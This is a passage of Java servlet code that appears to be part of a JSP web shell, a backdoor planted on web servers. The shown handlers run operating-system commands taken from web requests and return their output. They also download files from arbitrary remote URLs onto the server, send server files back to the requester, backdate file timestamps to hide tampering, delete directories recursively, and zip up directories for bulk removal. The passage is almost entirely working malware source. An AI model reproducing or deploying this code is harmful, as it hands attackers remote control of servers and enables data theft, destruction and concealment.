  2220.                                                                 + read
  2221.                                                                 + " name=\"read\" id=\"checkbox\">Read "
  2222.                                                                 + "  <input type=\"checkbox\" disabled "
  2223.                                                                 + write
  2224.                                                                 + " name=\"write\" id=\"checkbox2\">Write "
  2225.                                                                 + "</p>"
  2226.                                                                 + "<p>Instead &raquo;"
  2227.                                                                 + "year:"
  2228.                                                                 + "<input class=\"input\" name=\"year\" value="
  2229.                                                                 + cal.get(Calendar.YEAR)
  2230.                                                                 + " id=\"year\" type=\"text\" size=\"4\"  />"
  2231.                                                                 + "month:"
  2232.                                                                 + "<input class=\"input\" name=\"month\" value="
  2233.                                                                 + (cal.get(Calendar.MONTH) + 1)
  2234.                                                                 + " id=\"month\" type=\"text\" size=\"2\"  />"
  2235.                                                                 + "day:"
  2236.                                                                 + "<input class=\"input\" name=\"date\" value="
  2237.                                                                 + cal.get(Calendar.DATE)
  2238.                                                                 + " id=\"date\" type=\"text\" size=\"2\"  />"
  2239.                                                                 + ""
  2240.                                                                 + "hour:"
  2241.                                                                 + "<input class=\"input\" name=\"hour\" value="
  2242.                                                                 + cal.get(Calendar.HOUR)
  2243.                                                                 + " id=\"hour\" type=\"text\" size=\"2\"  />"
  2244.                                                                 + "minute:"
  2245.                                                                 + "<input class=\"input\" name=\"minute\" value="
  2246.                                                                 + cal.get(Calendar.MINUTE)
  2247.                                                                 + " id=\"minute\" type=\"text\" size=\"2\"  />"
  2248.                                                                 + "second:"
  2249.                                                                 + "<input class=\"input\" name=\"second\" value="
  2250.                                                                 + cal.get(Calendar.SECOND)
  2251.                                                                 + " id=\"second\" type=\"text\" size=\"2\"  />"
  2252.                                                                 + "</p>"
  2253.                                                                 + "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"
  2254.                                                                 + "</form>" + "</td></tr></table>");
  2255.                         } catch (Exception e) {
  2256.                                 throw e;
  2257.                         }
  2258.                 }
  2259.         }
  2260.  
  2261.         private static class EditPropertyInvoker extends DefaultInvoker {
  2262.                 public boolean doBefore() {
  2263.                         return false;
  2264.                 }
  2265.  
  2266.                 public boolean doAfter() {
  2267.                         return false;
  2268.                 }
  2269.  
  2270.                 public void invoke(HttpServletRequest request,
  2271.                                 HttpServletResponse response, HttpSession JSession)
  2272.                                 throws Exception {
  2273.                         try {
  2274.                                 String f = request.getParameter("file");
  2275.                                 File file = new File(f);
  2276.                                 if (!file.exists())
  2277.                                         return;
  2278.  
  2279.                                 String year = request.getParameter("year");
  2280.                                 String month = request.getParameter("month");
  2281.                                 String date = request.getParameter("date");
  2282.                                 String hour = request.getParameter("hour");
  2283.                                 String minute = request.getParameter("minute");
  2284.                                 String second = request.getParameter("second");
  2285.  
  2286.                                 Calendar cal = Calendar.getInstance();
  2287.                                 cal.set(Calendar.YEAR, Integer.parseInt(year));
  2288.                                 cal.set(Calendar.MONTH, Integer.parseInt(month) - 1);
  2289.                                 cal.set(Calendar.DATE, Integer.parseInt(date));
  2290.                                 cal.set(Calendar.HOUR, Integer.parseInt(hour));
  2291.                                 cal.set(Calendar.MINUTE, Integer.parseInt(minute));
  2292.                                 cal.set(Calendar.SECOND, Integer.parseInt(second));
  2293.                                 if (file.setLastModified(cal.getTimeInMillis())) {
  2294.                                         JSession.setAttribute(MSG, "Reset File Property Success!");
  2295.                                 } else {
  2296.                                         JSession
  2297.                                                         .setAttribute(MSG,
  2298.                                                                         "<span style='color:red'>Reset File Property Failed!</span>");
  2299.                                 }
  2300.                                 response.sendRedirect(SHELL_NAME);
  2301.                         } catch (Exception e) {
  2302.  
  2303.                                 throw e;
  2304.                         }
  2305.                 }
  2306.         }
  2307.  
  2308.         //VShell
  2309.         private static class VsInvoker extends DefaultInvoker {
  2310.                 public void invoke(HttpServletRequest request,
  2311.                                 HttpServletResponse response, HttpSession JSession)
  2312.                                 throws Exception {
  2313.                         try {
  2314.                                 PrintWriter out = response.getWriter();
  2315.                                 String cmd = request.getParameter("command");
  2316.                                 String program = request.getParameter("program");
  2317.                                 if (cmd == null) {
  2318.                                         if (ISLINUX)
  2319.                                                 cmd = "id";
  2320.                                         else
  2321.                                                 cmd = "cmd.exe /c set";
  2322.                                 }
  2323.                                 if (program == null)
  2324.                                         program = "cmd.exe /c net start > " + SHELL_DIR
  2325.                                                         + "/Log.txt";
  2326.                                 if (JSession.getAttribute(MSG) != null) {
  2327.                                         Util.outMsg(out, JSession.getAttribute(MSG).toString());
  2328.                                         JSession.removeAttribute(MSG);
  2329.                                 }
  2330.                                 out
  2331.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2332.                                                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2333.                                                                 + SHELL_NAME
  2334.                                                                 + "\" method=\"post\" >"
  2335.                                                                 + "<h2>Execute Program &raquo;</h2>"
  2336.                                                                 + "<p>"
  2337.                                                                 + "<input type=\"hidden\" name=\"o\" value=\"shell\">"
  2338.                                                                 + "<input type=\"hidden\" name=\"type\" value=\"program\">"
  2339.                                                                 + "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""
  2340.                                                                 + program
  2341.                                                                 + "\" type=\"text\" size=\"100\"  />"
  2342.                                                                 + "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"
  2343.                                                                 + "</p>"
  2344.                                                                 + "</form>"
  2345.                                                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2346.                                                                 + SHELL_NAME
  2347.                                                                 + "\" method=\"post\" >"
  2348.                                                                 + "<h2>Execute Shell &raquo;</h2>"
  2349.                                                                 + "<p>"
  2350.                                                                 + "<input type=\"hidden\" name=\"o\" value=\"shell\">"
  2351.                                                                 + "<input type=\"hidden\" name=\"type\" value=\"command\">"
  2352.                                                                 + "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""
  2353.                                                                 + cmd
  2354.                                                                 + "\" type=\"text\" size=\"100\"  />"
  2355.                                                                 + "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"
  2356.                                                                 + "</p>"
  2357.                                                                 + "</form>"
  2358.                                                                 + "</td>"
  2359.                                                                 + "</tr></table>");
  2360.                         } catch (Exception e) {
  2361.  
  2362.                                 throw e;
  2363.                         }
  2364.                 }
  2365.         }
  2366.  
  2367.         private static class ShellInvoker extends DefaultInvoker {
  2368.                 public void invoke(HttpServletRequest request,
  2369.                                 HttpServletResponse response, HttpSession JSession)
  2370.                                 throws Exception {
  2371.                         try {
  2372.                                 PrintWriter out = response.getWriter();
  2373.                                 String type = request.getParameter("type");
  2374.                                 if (type.equals("command")) {
  2375.                                         ((Invoker) ins.get("vs")).invoke(request, response,
  2376.                                                         JSession);
  2377.                                         out.println("<div style='margin:10px'><hr/>");
  2378.                                         out.println("<pre>");
  2379.                                         String command = request.getParameter("command");
  2380.                                         if (!Util.isEmpty(command)) {
  2381.                                                 Process pro = Runtime.getRuntime().exec(command);
  2382.                                                 BufferedReader reader = new BufferedReader(
  2383.                                                                 new InputStreamReader(pro.getInputStream()));
  2384.                                                 String s = reader.readLine();
  2385.                                                 while (s != null) {
  2386.                                                         out.println(Util.htmlEncode(Util.getStr(s)));
  2387.                                                         s = reader.readLine();
  2388.                                                 }
  2389.                                                 reader.close();
  2390.                                                 reader = new BufferedReader(new InputStreamReader(pro
  2391.                                                                 .getErrorStream()));
  2392.                                                 s = reader.readLine();
  2393.                                                 while (s != null) {
  2394.                                                         out.println(Util.htmlEncode(Util.getStr(s)));
  2395.                                                         s = reader.readLine();
  2396.                                                 }
  2397.                                                 reader.close();
  2398.                                                 out.println("</pre></div>");
  2399.                                         }
  2400.                                 } else {
  2401.                                         String program = request.getParameter("program");
  2402.                                         if (!Util.isEmpty(program)) {
  2403.                                                 Process pro = Runtime.getRuntime().exec(program);
  2404.                                                 JSession.setAttribute(MSG, "Program Has Run Success!");
  2405.                                                 ((Invoker) ins.get("vs")).invoke(request, response,
  2406.                                                                 JSession);
  2407.                                         }
  2408.                                 }
  2409.                         } catch (Exception e) {
  2410.  
  2411.                                 throw e;
  2412.                         }
  2413.                 }
  2414.         }
  2415.  
  2416.         private static class DownInvoker extends DefaultInvoker {
  2417.                 public boolean doBefore() {
  2418.                         return false;
  2419.                 }
  2420.  
  2421.                 public boolean doAfter() {
  2422.                         return false;
  2423.                 }
  2424.  
  2425.                 public void invoke(HttpServletRequest request,
  2426.                                 HttpServletResponse response, HttpSession JSession)
  2427.                                 throws Exception {
  2428.                         try {
  2429.                                 String path = request.getParameter("path");
  2430.                                 if (Util.isEmpty(path))
  2431.                                         return;
  2432.                                 InputStream i = null;
  2433.                                 Object enter = JSession.getAttribute(ENTER);
  2434.                                 String fileName = null;
  2435.                                 if (enter == null) {
  2436.                                         File f = new File(path);
  2437.                                         if (!f.exists())
  2438.                                                 return;
  2439.                                         fileName = f.getName();
  2440.                                         i = new FileInputStream(f);
  2441.                                 } else {
  2442.                                         ZipFile zf = new ZipFile((String) enter);
  2443.                                         ZipEntry entry = new ZipEntry(path);
  2444.                                         fileName = entry.getName().substring(
  2445.                                                         entry.getName().lastIndexOf("/") + 1);
  2446.                                         i = zf.getInputStream(entry);
  2447.                                 }
  2448.                                 response.setHeader("Content-Disposition",
  2449.                                                 "attachment;filename="
  2450.                                                                 + URLEncoder.encode(fileName, PAGE_CHARSET));
  2451.                                 BufferedInputStream input = new BufferedInputStream(i);
  2452.                                 BufferedOutputStream output = new BufferedOutputStream(response
  2453.                                                 .getOutputStream());
  2454.                                 byte[] data = new byte[1024];
  2455.                                 int len = input.read(data);
  2456.                                 while (len != -1) {
  2457.                                         output.write(data, 0, len);
  2458.                                         len = input.read(data);
  2459.                                 }
  2460.                                 input.close();
  2461.                                 output.close();
  2462.                         } catch (Exception e) {
  2463.  
  2464.                                 throw e;
  2465.                         }
  2466.                 }
  2467.         }
  2468.  
  2469.         //VDown
  2470.         private static class VdInvoker extends DefaultInvoker {
  2471.                 public void invoke(HttpServletRequest request,
  2472.                                 HttpServletResponse response, HttpSession JSession)
  2473.                                 throws Exception {
  2474.                         try {
  2475.                                 PrintWriter out = response.getWriter();
  2476.                                 String savepath = request.getParameter("savepath");
  2477.                                 String url = request.getParameter("url");
  2478.                                 if (Util.isEmpty(url))
  2479.                                         url = "http://www.baidu.com/";
  2480.                                 if (Util.isEmpty(savepath)) {
  2481.                                         savepath = JSession.getAttribute(CURRENT_DIR).toString();
  2482.                                 }
  2483.                                 if (!Util.isEmpty(JSession.getAttribute("done"))) {
  2484.                                         Util.outMsg(out, "Download Remote File Success!");
  2485.                                         JSession.removeAttribute("done");
  2486.                                 }
  2487.                                 out
  2488.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2489.                                                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2490.                                                                 + SHELL_NAME
  2491.                                                                 + "\" method=\"post\" >"
  2492.                                                                 + "<h2>Remote File DownLoad &raquo;</h2>"
  2493.                                                                 + "<p>"
  2494.                                                                 + "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"
  2495.                                                                 + "<p>File&nbsp;&nbsp;&nbsp;URL: "
  2496.                                                                 + "  <input class=\"input\" name=\"url\" value=\""
  2497.                                                                 + url
  2498.                                                                 + "\" id=\"url\" type=\"text\" size=\"200\"  /></p>"
  2499.                                                                 + "<p>Save Path: "
  2500.                                                                 + "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""
  2501.                                                                 + savepath
  2502.                                                                 + "\" type=\"text\" size=\"200\"  /></p>"
  2503.                                                                 + "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\"  />"
  2504.                                                                 + "</p>" + "</form></table>");
  2505.                         } catch (Exception e) {
  2506.  
  2507.                                 throw e;
  2508.                         }
  2509.                 }
  2510.         }
  2511.  
  2512.         private static class DownRemoteInvoker extends DefaultInvoker {
  2513.                 public boolean doBefore() {
  2514.                         return true;
  2515.                 }
  2516.  
  2517.                 public boolean doAfter() {
  2518.                         return true;
  2519.                 }
  2520.  
  2521.                 public void invoke(HttpServletRequest request,
  2522.                                 HttpServletResponse response, HttpSession JSession)
  2523.                                 throws Exception {
  2524.                         try {
  2525.                                 String downFileUrl = request.getParameter("url");
  2526.                                 String savePath = request.getParameter("savepath");
  2527.                                 if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
  2528.                                         return;
  2529.                                 URL downUrl = new URL(downFileUrl);
  2530.                                 URLConnection conn = downUrl.openConnection();
  2531.  
  2532.                                 File tempF = new File(savePath);
  2533.                                 File saveF = tempF;
  2534.                                 if (tempF.isDirectory()) {
  2535.                                         String fName = downFileUrl.substring(downFileUrl
  2536.                                                         .lastIndexOf("/") + 1);
  2537.                                         saveF = new File(tempF, fName);
  2538.                                 }
  2539.                                 BufferedInputStream in = new BufferedInputStream(conn
  2540.                                                 .getInputStream());
  2541.                                 BufferedOutputStream out = new BufferedOutputStream(
  2542.                                                 new FileOutputStream(saveF));
  2543.                                 byte[] data = new byte[1024];
  2544.                                 int len = in.read(data);
  2545.                                 while (len != -1) {
  2546.                                         out.write(data, 0, len);
  2547.                                         len = in.read(data);
  2548.                                 }
  2549.                                 in.close();
  2550.                                 out.close();
  2551.                                 JSession.setAttribute("done", "d");
  2552.                                 ((Invoker) ins.get("vd")).invoke(request, response, JSession);
  2553.                         } catch (Exception e) {
  2554.  
  2555.                                 throw e;
  2556.                         }
  2557.                 }
  2558.         }
  2559.  
  2560.         private static class IndexInvoker extends DefaultInvoker {
  2561.                 public void invoke(HttpServletRequest request,
  2562.                                 HttpServletResponse response, HttpSession JSession)
  2563.                                 throws Exception {
  2564.                         try {
  2565.                                 ((Invoker) ins.get("filelist")).invoke(request, response,
  2566.                                                 JSession);
  2567.                         } catch (Exception e) {
  2568.  
  2569.                                 throw e;
  2570.                         }
  2571.                 }
  2572.         }
  2573.  
  2574.         private static class MkDirInvoker extends DefaultInvoker {
  2575.                 public boolean doBefore() {
  2576.                         return false;
  2577.                 }
  2578.  
  2579.                 public boolean doAfter() {
  2580.                         return false;
  2581.                 }
  2582.  
  2583.                 public void invoke(HttpServletRequest request,
  2584.                                 HttpServletResponse response, HttpSession JSession)
  2585.                                 throws Exception {
  2586.                         try {
  2587.                                 String name = request.getParameter("name");
  2588.                                 File f = new File(name);
  2589.                                 if (!f.isAbsolute()) {
  2590.                                         String path = JSession.getAttribute(CURRENT_DIR).toString();
  2591.                                         if (!path.endsWith("/"))
  2592.                                                 path += "/";
  2593.                                         path += name;
  2594.                                         f = new File(path);
  2595.                                 }
  2596.                                 f.mkdirs();
  2597.                                 JSession.setAttribute(MSG, "Make Directory Success!");
  2598.                                 response.sendRedirect(SHELL_NAME);
  2599.                         } catch (Exception e) {
  2600.  
  2601.                                 throw e;
  2602.                         }
  2603.                 }
  2604.         }
  2605.  
  2606.         private static class MoveInvoker extends DefaultInvoker {
  2607.                 public boolean doBefore() {
  2608.                         return false;
  2609.                 }
  2610.  
  2611.                 public boolean doAfter() {
  2612.                         return false;
  2613.                 }
  2614.  
  2615.                 public void invoke(HttpServletRequest request,
  2616.                                 HttpServletResponse response, HttpSession JSession)
  2617.                                 throws Exception {
  2618.                         try {
  2619.                                 PrintWriter out = response.getWriter();
  2620.                                 String src = request.getParameter("src");
  2621.                                 String target = request.getParameter("to");
  2622.                                 if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
  2623.                                         File file = new File(src);
  2624.                                         if (file.renameTo(new File(target))) {
  2625.                                                 JSession.setAttribute(MSG, "Move File Success!");
  2626.                                         } else {
  2627.                                                 String msg = "Move File Failed!";
  2628.                                                 if (file.isDirectory()) {
  2629.                                                         msg += "The Move Will Failed When The Directory Is Not Empty.";
  2630.                                                 }
  2631.                                                 JSession.setAttribute(MSG, msg);
  2632.                                         }
  2633.                                         response.sendRedirect(SHELL_NAME);
  2634.                                 }
  2635.                         } catch (Exception e) {
  2636.  
  2637.                                 throw e;
  2638.                         }
  2639.                 }
  2640.         }
  2641.  
  2642.         private static class RemoveDirInvoker extends DefaultInvoker {
  2643.                 public boolean doBefore() {
  2644.                         return false;
  2645.                 }
  2646.  
  2647.                 public boolean doAfter() {
  2648.                         return false;
  2649.                 }
  2650.  
  2651.                 public void invoke(HttpServletRequest request,
  2652.                                 HttpServletResponse response, HttpSession JSession)
  2653.                                 throws Exception {
  2654.                         try {
  2655.                                 String dir = request.getParameter("dir");
  2656.                                 File file = new File(dir);
  2657.                                 if (file.exists()) {
  2658.                                         deleteFile(file);
  2659.                                         deleteDir(file);
  2660.                                 }
  2661.  
  2662.                                 JSession.setAttribute(MSG, "Remove Directory Success!");
  2663.                                 response.sendRedirect(SHELL_NAME);
  2664.                         } catch (Exception e) {
  2665.  
  2666.                                 throw e;
  2667.                         }
  2668.                 }
  2669.  
  2670.                 public void deleteFile(File f) {
  2671.                         if (f.isFile()) {
  2672.                                 f.delete();
  2673.                         } else {
  2674.                                 File[] list = f.listFiles();
  2675.                                 for (int i = 0; i < list.length; i++) {
  2676.                                         File ff = list[i];
  2677.                                         deleteFile(ff);
  2678.                                 }
  2679.                         }
  2680.                 }
  2681.  
  2682.                 public void deleteDir(File f) {
  2683.                         File[] list = f.listFiles();
  2684.                         if (list.length == 0) {
  2685.                                 f.delete();
  2686.                         } else {
  2687.                                 for (int i = 0; i < list.length; i++) {
  2688.                                         File ff = list[i];
  2689.                                         deleteDir(ff);
  2690.                                 }
  2691.                                 deleteDir(f);
  2692.                         }
  2693.                 }
  2694.         }
  2695.  
  2696.         private static class PackBatchInvoker extends DefaultInvoker {
  2697.                 public boolean doBefore() {
  2698.                         return false;
  2699.                 }
  2700.  
  2701.                 public boolean doAfter() {
  2702.                         return false;
  2703.                 }
  2704.  
  2705.                 public void invoke(HttpServletRequest request,
  2706.                                 HttpServletResponse response, HttpSession JSession)
  2707.                                 throws Exception {
  2708.                         try {
  2709.                                 String files = request.getParameter("files");
  2710.                                 if (Util.isEmpty(files))
  2711.                                         return;
  2712.                                 String saveFileName = request.getParameter("savefilename");
  2713.                                 File saveF = new File(JSession.getAttribute(CURRENT_DIR)
  2714.                                                 .toString(), saveFileName);
  2715.                                 if (saveF.exists()) {
  2716.                                         JSession.setAttribute(MSG, "The File \"" + saveFileName
  2717.                                                         + "\" Has Been Exists!");
  2718.                                         response.sendRedirect(SHELL_NAME);
  2719.                                         return;
  2720.                                 }
  2721.                                 ZipOutputStream zout = new ZipOutputStream(
  2722.                                                 new BufferedOutputStream(new FileOutputStream(saveF)));
  2723.                                 String[] arr = files.split(",");
  2724.                                 for (int i = 0; i < arr.length; i++) {
  2725.                                         String f = arr[i];
  2726.                                         File pF = new File(JSession.getAttribute(CURRENT_DIR)
  2727.                                                         .toString(), f);
  2728.                                         ZipEntry entry = new ZipEntry(pF.getName());
  2729.                                         zout.putNextEntry(entry);
  2730.                                         FileInputStream fInput = new FileInputStream(pF);
  2731.                                         int len = 0;
  2732.                                         byte[] buf = new byte[1024];
  2733.                                         while ((len = fInput.read(buf)) != -1) {
  2734.                                                 zout.write(buf, 0, len);
  2735.                                                 zout.flush();
  2736.                                         }
  2737.                                         fInput.close();
  2738.                                 }
  2739.                                 zout.close();
  2740.                                 JSession.setAttribute(MSG, "Pack Files Success!");
  2741.                                 response.sendRedirect(SHELL_NAME);
  2742.                         } catch (Exception e) {
  2743.  
  2744.                                 throw e;
  2745.                         }
  2746.                 }
  2747.         }
  2748.  
  2749.         private static class VPackConfigInvoker extends DefaultInvoker {
  2750.                 public void invoke(HttpServletRequest request,
  2751.                                 HttpServletResponse response, HttpSession JSession)
  2752.                                 throws Exception {
  2753.                         try {
  2754.                                 PrintWriter out = response.getWriter();
  2755.                                 String packfile = request.getParameter("packedfile");
  2756.                                 String currentd = JSession.getAttribute(CURRENT_DIR).toString();
  2757.                                 out
  2758.                                                 .println("<form action='"
  2759.                                                                 + SHELL_NAME
  2760.                                                                 + "' method='post'>"
  2761.                                                                 + "<input type='hidden' name='o' value='pack'/>"
  2762.                                                                 + "<input type='hidden' name='config' value='true'/>"
  2763.                                                                 + "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  2764.                                                                 + "    <tr>"
  2765.                                                                 + "      <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"
  2766.                                                                 + "        <div id=\"hOWTm\">"
  2767.                                                                 + "          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  2768.                                                                 + "            <tr align=\"center\">"
  2769.                                                                 + "              <td style=\"width:5%\"></td>"
  2770.                                                                 + "              <td  align=\"center\"><table border=\"0\">"
  2771.                                                                 + "                <tr>"
  2772.                                                                 + "                  <td>Packed Dir</td>"
  2773.                                                                 + "                  <td><input type=\"text\" name=\"packedfile\" size='100' value=\""
  2774.                                                                 + packfile
  2775.                                                                 + "\" class=\"input\"/></td>"
  2776.                                                                 + "                </tr>"
  2777.                                                                 + "                <tr>"
  2778.                                                                 + "                  <td>Save To</td>"
  2779.                                                                 + "                  <td><input type=\"text\" name=\"savefilename\" size='100' value=\""
  2780.                                                                 + ((currentd.endsWith("/") ? currentd
  2781.                                                                                 : currentd + "/") + "pack.zip")
  2782.                                                                 + "\" class=\"input\"/></td>"
  2783.                                                                 + "                </tr>"
  2784.                                                                 + "                <tr>"
  2785.                                                                 + "                  <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"
  2786.                                                                 + "                                     <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"
  2787.                                                                 + "                                     <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"
  2788.                                                                 + "                                     </fieldset></td>"
  2789.                                                                 + "                  </tr>"
  2790.                                                                 + "                <tr>"
  2791.                                                                 + "                  <td>Filesize Filter</td>"
  2792.                                                                 + "                  <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "
  2793.                                                                 + "                                     <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"
  2794.                                                                 + "                </tr>"
  2795.                                                                 + "                <tr>"
  2796.                                                                 + "                  <td>Exclude Dir</td>"
  2797.                                                                 + "                  <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"
  2798.                                                                 + "                </tr>"
  2799.                                                                 + "              </table></td>"
  2800.                                                                 + "            </tr>"
  2801.                                                                 + "            <tr align=\"center\">"
  2802.                                                                 + "              <td colspan=\"2\">"
  2803.                                                                 + "                <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"
  2804.                                                                 + "              </td>" + "            </tr>"
  2805.                                                                 + "          </table>" + "        </div></td>"
  2806.                                                                 + "    </tr>" + "  </table></form>");
  2807.                         } catch (Exception e) {
  2808.  
  2809.                                 throw e;
  2810.                         }
  2811.                 }
  2812.         }
  2813.  
  2814.         private static class PackInvoker extends DefaultInvoker {
  2815.                 public boolean doBefore() {
  2816.                         return false;
  2817.                 }
  2818.  
  2819.                 public boolean doAfter() {
  2820.                         return false;
  2821.                 }
  2822.  
  2823.                 private boolean config = false;
  2824.                 private String extFilter = "blacklist";
  2825.                 private String[] fileExts = null;
  2826.                 private String sizeFilter = "no";
  2827.                 private int filesize = 0;
  2828.                 private String[] exclude = null;
  2829.                 private String packFile = null;
  2830.  
  2831.                 private void reset() {
  2832.                         this.config = false;
  2833.                         this.extFilter = "blacklist";
  2834.                         this.fileExts = null;
  2835.                         this.sizeFilter = "no";
  2836.                         this.filesize = 0;
  2837.                         this.exclude = null;
  2838.                         this.packFile = null;
  2839.                 }
  2840.  
  2841.                 public void invoke(HttpServletRequest request,
  2842.                                 HttpServletResponse response, HttpSession JSession)
  2843.                                 throws Exception {
  2844.                         try {
  2845.                                 String config = request.getParameter("config");
  2846.                                 if (!Util.isEmpty(config) && config.equals("true")) {
  2847.                                         this.config = true;
  2848.                                         this.extFilter = request.getParameter("extfilter");
  2849.                                         this.fileExts = request.getParameter("fileext").split(",");
  2850.                                         this.sizeFilter = request.getParameter("sizefilter");
  2851.                                         this.filesize = Integer.parseInt(request
  2852.                                                         .getParameter("filesize"));
  2853.                                         this.exclude = request.getParameter("exclude").split(",");
  2854.                                 }
  2855.                                 String packedFile = request.getParameter("packedfile");
  2856.                                 if (Util.isEmpty(packedFile))
  2857.                                         return;
  2858.                                 this.packFile = packedFile;
  2859.                                 String saveFileName = request.getParameter("savefilename");
  2860.                                 File saveF = null;
  2861.                                 if (this.config)
  2862.                                         saveF = new File(saveFileName);
  2863.                                 else
  2864.                                         saveF = new File(JSession.getAttribute(CURRENT_DIR)
  2865.                                                         .toString(), saveFileName);
  2866.                                 if (saveF.exists()) {
  2867.                                         JSession.setAttribute(MSG, "The File \"" + saveFileName
  2868.                                                         + "\" Has Been Exists!");
  2869.                                         response.sendRedirect(SHELL_NAME);
  2870.                                         return;
  2871.                                 }
  2872.                                 File pF = new File(packedFile);
  2873.                                 ZipOutputStream zout = null;
  2874.                                 String base = "";
  2875.                                 if (pF.isDirectory()) {
  2876.                                         if (pF.listFiles().length == 0) {
  2877.                                                 JSession
  2878.                                                                 .setAttribute(MSG,
  2879.                                                                                 "No File To Pack ! Maybe The Directory Is Empty .");
  2880.                                                 response.sendRedirect(SHELL_NAME);
  2881.                                                 this.reset();
  2882.                                                 return;
  2883.                                         }
  2884.                                         zout = new ZipOutputStream(new BufferedOutputStream(
  2885.                                                         new FileOutputStream(saveF)));
  2886.                                         zipDir(pF, base, zout);
  2887.                                 } else {
  2888.                                         zout = new ZipOutputStream(new BufferedOutputStream(
  2889.                                                         new FileOutputStream(saveF)));
  2890.                                         zipFile(pF, base, zout);
  2891.                                 }
  2892.                                 zout.close();
  2893.                                 this.reset();
  2894.                                 JSession.setAttribute(MSG, "Pack File Success!");
  2895.                                 response.sendRedirect(SHELL_NAME);
  2896.                         } catch (Exception e) {
  2897.                                 throw e;
  2898.                         }
  2899.                 }
  2900.  
  2901.                 public void zipDir(File f, String base, ZipOutputStream zout)
  2902.                                 throws Exception {
  2903.                         if (f.isDirectory()) {
  2904.                                 if (this.config) {
  2905.                                         String curName = f.getAbsolutePath().replace('\\', '/');
  2906.                                         curName = curName.replaceAll("\\Q" + this.packFile + "\\E",
  2907.                                                         "");
  2908.                                         if (this.exclude != null) {
  2909.                                                 for (int i = 0; i < exclude.length; i++) {
  2910.                                                         if (!Util.isEmpty(exclude[i])
  2911.                                                                         && curName.startsWith(exclude[i])) {
  2912.                                                                 return;
  2913.                                                         }
  2914.                                                 }
  2915.                                         }
  2916.                                 }
  2917.                                 File[] arr = f.listFiles();
  2918.                                 for (int i = 0; i < arr.length; i++) {
  2919.                                         File ff = arr[i];
  2920.                                         String tmpBase = base;
  2921.                                         if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2922.                                                 tmpBase += "/";
  2923.                                         zipDir(ff, tmpBase + f.getName(), zout);
  2924.                                 }
  2925.                         } else {
  2926.                                 String tmpBase = base;
  2927.                                 if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2928.                                         tmpBase += "/";
  2929.                                 zipFile(f, tmpBase, zout);
  2930.                         }
  2931.  
  2932.                 }
  2933.  
  2934.                 public void zipFile(File f, String base, ZipOutputStream zout)
  2935.                                 throws Exception {
  2936.                         if (this.config) {
  2937.                                 String ext = f.getName().substring(
  2938.                                                 f.getName().lastIndexOf('.') + 1);
  2939.                                 if (this.extFilter.equals("blacklist")) {
  2940.                                         if (Util.exists(this.fileExts, ext)) {
  2941.                                                 return;
  2942.                                         }
  2943.                                 } else if (this.extFilter.equals("whitelist")) {
  2944.                                         if (!Util.exists(this.fileExts, ext)) {
  2945.                                                 return;
  2946.                                         }
  2947.                                 }
  2948.                                 if (!this.sizeFilter.equals("no")) {
  2949.                                         double size = f.length() / 1024;
  2950.                                         if (this.sizeFilter.equals("greaterthan")) {
  2951.                                                 if (size < filesize)
  2952.                                                         return;
  2953.                                         } else if (this.sizeFilter.equals("lessthan")) {
  2954.                                                 if (size > filesize)
  2955.                                                         return;
  2956.                                         }
  2957.                                 }
  2958.                         }
  2959.                         ZipEntry entry = new ZipEntry(base + f.getName());
  2960.                         zout.putNextEntry(entry);
  2961.                         FileInputStream fInput = new FileInputStream(f);
  2962.                         int len = 0;
  2963.                         byte[] buf = new byte[1024];
  2964.                         while ((len = fInput.read(buf)) != -1) {
  2965.                                 zout.write(buf, 0, len);
  2966.                                 zout.flush();
  2967.                         }
  2968.                         fInput.close();
  2969.                 }
  2970.         }
  2971.  
  2972.         private static class UnPackInvoker extends DefaultInvoker {
  2973.                 public boolean doBefore() {
  2974.                         return false;
  2975.                 }
  2976.  
  2977.                 public boolean doAfter() {
  2978.                         return false;
  2979.                 }
  2980.  
  2981.                 public void invoke(HttpServletRequest request,
  2982.                                 HttpServletResponse response, HttpSession JSession)
  2983.                                 throws Exception {
  2984.                         try {
  2985.                                 String savepath = request.getParameter("savepath");
  2986.                                 String zipfile = request.getParameter("zipfile");
  2987.                                 if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
  2988.                                         return;
  2989.                                 File save = new File(savepath);
  2990.                                 save.mkdirs();
  2991.                                 ZipFile file = new ZipFile(new File(zipfile));
  2992.                                 Enumeration e = file.entries();
